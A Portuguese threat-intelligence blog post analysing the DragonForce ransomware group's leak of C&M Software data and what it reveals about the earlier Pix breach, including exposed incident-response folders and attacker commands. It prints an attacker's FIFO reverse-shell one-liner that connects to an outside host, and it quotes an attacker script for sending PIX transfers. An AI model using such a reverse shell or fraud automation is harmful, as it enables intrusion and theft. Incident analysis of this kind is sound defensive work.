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# [PT] From Data Leak to Intelligence: Analyzing the C&M Software Exposure
- URL: https://blog.quimerax.com/pt-from-data-leak-to-intelligence-analyzing-the-c-m-software-exposure/
- Published: 2025-12-17T21:02:58.000Z
- Updated: 2025-12-17T21:05:35.000Z
- Author: Berg
- Tags: News

### Introdução

No final de novembro de 2025, o nome da C&M Software voltou a aparecer em fóruns clandestinos, desta vez associado ao **DragonForce**, um grupo de ransomware conhecido por operar no modelo *Ransomware-as-a-Service (RaaS)*.

![](https://blog.quimerax.com/content/images/2025/12/image-1.png)

Registro da publicação da C&M Software no DLS do DragonForce

À primeira vista, poderia parecer apenas mais um capítulo de um incidente antigo. Mas, ao analisar o conteúdo publicado, o que se revelou foi algo diferente.

Este post apresenta o que foi observado, o que não foi encontrado, e por que esse caso é um bom exemplo de como **vazamentos nem sempre refletem ataques sofisticados, mas sim falhas operacionais acumuladas**.

### Contexto do Ataque Anterior à C&M Software

Em **1º de julho de 2025**, a prestadora de serviços de tecnologia **C&M Software**, responsável pela conexão de instituições financeiras ao Sistema de Pagamentos Brasileiro (SPB) e ao Pix, sofreu um ataque cibernético que expôs severas vulnerabilidades em sua infraestrutura.

Autoridades brasileiras estimaram que a intrusão permitiu o acesso indevido a **contas reserva de pelo menos seis instituições financeiras, resultando em desvios de fundos que podem ter ultrapassado centenas de milhões de reais**, com algumas estimativas iniciais apontando para valores na casa dos **R$ 800 milhões** sendo movimentados de forma fraudulenta.

A investigação policial revelou que o ataque foi facilitado pelo uso de **credenciais obtidas a partir de um funcionário da própria C&M Software**, que teria vendido seu acesso por aproximadamente R$ 15.000,00 (quinze mil reais), facilitando a entrada dos agentes maliciosos nos sistemas internos.

Em resposta ao incidente, o **Banco Central do Brasil suspendeu temporariamente a operação de algumas instituições conectadas ao Pix** e exigiu que a C&M aplicasse medidas de contenção antes de restabelecer seus serviços.

Autoridades policiais, incluindo a Polícia Federal e a Polícia Civil de São Paulo, conduziram prisões relacionadas ao caso, incluindo a detenção de operadores e suspeitos envolvidos na facilitação do ataque.

Esse evento foi amplamente divulgado pela mídia e passou a ser considerado um dos maiores incidentes cibernéticos envolvendo o sistema financeiro brasileiro, tanto pelo valor estimado dos recursos desviados quanto pelo impacto sistêmico nas instituições integradas ao PIX.

### Análise inicial da publicação

A C&M Software foi listada no *Data Leak Site (DLS)* do ***DragonForce*** com uma publicação marcada como **“PUBLISHED”**, indicando que os arquivos haviam sido tornados públicos após a contagem regressiva típica de extorsão.

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Publicação oficial do vazamento da C&M Software no DLS do DragonForce

A divulgação ocorreu em **28/11/2025, às 17:10 (UTC-3)**, quando o grupo disponibilizou **393,92 GB** de dados para acesso público. A partir desse momento, deu-se início o processo de coleta e análise técnica do material exposto.

O volume divulgado incluía uma ampla variedade de arquivos, entre eles documentos internos, planilhas, registros técnicos, vídeos, logs de sistemas e máquinas virtuais completas. Esse nível de diversidade indica que o conjunto não se limita a dados obtidos de forma pontual ou apressada, mas sim a informações acumuladas ao longo do tempo, abrangendo diferentes contextos operacionais da organização.

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Estrutura de diretórios expostos no vazamento, evidenciando a diversidade de áreas e tipos de informação disponibilizados

### Um vazamento que expõe o processo de resposta a incidentes

Entre os diretórios publicados, foi possível identificar pastas que **provavelmente foram criadas durante o processo de Resposta a Incidentes (IR)** conduzido internamente após um ataque anterior.

Essas pastas continham:

- Artefatos coletados para investigação
- Logs exportados
- Evidências preservadas para análise
- Scripts e comandos usados pelo atacante

Durante uma resposta a incidentes (IR), a equipe de segurança costuma reunir logs, evidências e arquivos técnicos para investigar o ataque. Se esse ambiente de investigação não for corretamente isolado após o incidente, **esses próprios materiais podem acabar sendo expostos em vazamentos posteriores**.

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Diretórios utilizados durante a resposta a incidentes, evidenciando como artefatos de investigação podem acabar expostos em vazamentos posteriores

### Quando logs e câmeras contam a mesma história

Um dos achados mais emblemáticos foi a **correlação temporal** entre:

- Registros do *Windows Event Viewer* (Evento 4648 – logon explícito)
- E vídeos de câmeras de segurança internas

Os arquivos indicam que, em um **domingo**, fora do horário comercial, um colaborador estava **sozinho no escritório**, com **todas as estações ligadas**, realizando atividades no computador corporativo.

O log de autenticação presente no vazamento corresponde exatamente a esse intervalo. 

Não se trata aqui de atribuição criminal, mas sim de um exemplo claro de como **acesso físico + ausência de supervisão + controles fracos** criam condições ideais para exploração.

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Evento de logon registrado no Windows Event Viewer durante o período analisado

![](https://blog.quimerax.com/content/images/2025/12/data-src-image-ca752b41-118d-48f7-b6eb-5eb7d3b78f03.png)

Registro visual do ambiente interno no mesmo intervalo temporal do evento de logon

### Comandos simples, impacto alto

Os comandos identificados nos históricos não indicam técnicas avançadas. Pelo contrário:

- Scripts simples executados a partir de `/tmp`

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Script Python simples executado a partir de ****/tmp**

![](https://blog.quimerax.com/content/images/2025/12/image-6.png)

Código Python para criação temporária de certificados e leitura de configurações locais

- Shells reversas baseadas em FIFO

```bash
bash -c 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 |  nc api.utmify.app 443 > /tmp/f'
```

- Tentativas diretas de uso de `sudo`
- Ausência de ofuscação ou evasão elaborada
- Scripts desenvolvidos com apoio de IA pelos atacantes ("scripts vibecodados")
  - Scripts desenvolvidos de maneira improvisada pelos atacantes, muitas vezes baseados em documentação pública ou testados diretamente no ambiente comprometido.

```txt
## 📋 Descrição
Script Python para envio de transferências PIX ao BACEN seguindo o padrão PACS.008 v1.12, baseado na documentação oficial da API v5.09.2.
```

![](https://blog.quimerax.com/content/images/2025/12/image-3.png)

Conjunto de comandos e scripts utilizados no ambiente comprometido, ilustrando técnicas simples de acesso remoto, elevação de privilégio e automação customizada

Em um ambiente com **monitoramento mínimo**, essas ações seriam detectadas rapidamente. O sucesso da operação não esteve na sofisticação técnica, mas no **tempo disponível dentro de um ambiente pouco controlado**.

### Mais um incidente envolvendo a C&M Software: recorrência ou contextos diferentes?

O ***DragonForce*** opera como um **ecossistema**, não como um único grupo homogêneo. Ele fornece infraestrutura, visibilidade e até **serviços de “análise de dados”** para auxiliar afiliados na fase de extorsão, incluindo roteiros, cartas para executivos e relatórios jurídicos genéricos.

Isso explica um ponto-chave deste caso:

Tudo indica que a C&M foi um **alvo oportunista**, escolhido por exposição e fragilidade operacional, diferente de ataques altamente direcionados e planejados vistos em outros contextos.

![](https://blog.quimerax.com/content/images/2025/12/image-8.png)

Requisição de teste para uma instituição de pagamento, evidenciando atividades de validação funcional no ambiente comprometido

### O que esse caso nos ensina

**Este incidente reforça que ataques que resultam em grandes movimentações financeiras nem sempre estão associados a operadores tecnicamente sofisticados.** Em muitos casos, o impacto é consequência de fragilidades operacionais, falhas de governança e ausência de controles básicos, que permitem que ações relativamente simples sejam executadas com sucesso ao longo do tempo.

Ambientes utilizados durante e após um incidente, como aqueles destinados à investigação e resposta, podem se tornar tão críticos quanto os sistemas de produção quando não recebem o mesmo nível de proteção e isolamento.

Além disso, o caso evidencia que fatores como acesso físico não supervisionado e envolvimento de *insiders* podem ser determinantes para o sucesso de ataques com alto impacto financeiro, independentemente do nível técnico do operador. Mais do que uma análise sobre ferramentas ou grupos específicos, este cenário destaca a importância da maturidade operacional, da segregação de funções e de processos sólidos de segurança da informação.

### Conclusão

Vazamentos como este, especialmente quando incluem **pastas de Resposta a Incidentes (IR)**, vão muito além da simples exposição de dados. Esse tipo de material concentra informações cruciais para compreender **como o ataque foi conduzido na prática**, quais caminhos foram explorados, quais fragilidades operacionais existiam e como o ambiente respondeu ao incidente. Em muitos casos, essas evidências oferecem uma visão mais precisa da execução real do ataque do que comunicados públicos ou descrições genéricas.

A presença de artefatos de investigação, logs internos e *scripts* desenvolvidos durante ou após o incidente também evidencia como o **nível de maturidade operacional e de governança em segurança** influencia diretamente o impacto final de um comprometimento. Ambientes pouco isolados, controles básicos ausentes e acesso não supervisionado podem transformar ações relativamente simples em eventos de grande impacto financeiro e reputacional.

No QuimeraX, monitoramos continuamente atividades desse tipo, incluindo data leak sites, fóruns clandestinos e ecossistemas de *ransomware*, justamente porque esse acompanhamento permite ir além do "o que aconteceu" e entender **como os atacantes operam**, quais padrões se repetem e onde estão os pontos de fragilidade explorados. Essa visibilidade torna possível antecipar movimentos, identificar riscos emrgentes e oferecer uma **visão operacional** antes mesmo que novos incidentes se materializem.

Mais do que relatar um vazamento específico, casos como este reforçam a importância de observar o contexto completo: processos, pessoas, controles e decisões operacionais. **Na prática, são esses fatores que frequentemente determinam se um incidente será rapidamente contido ou se evoluirá para um evento de alto impacto.**

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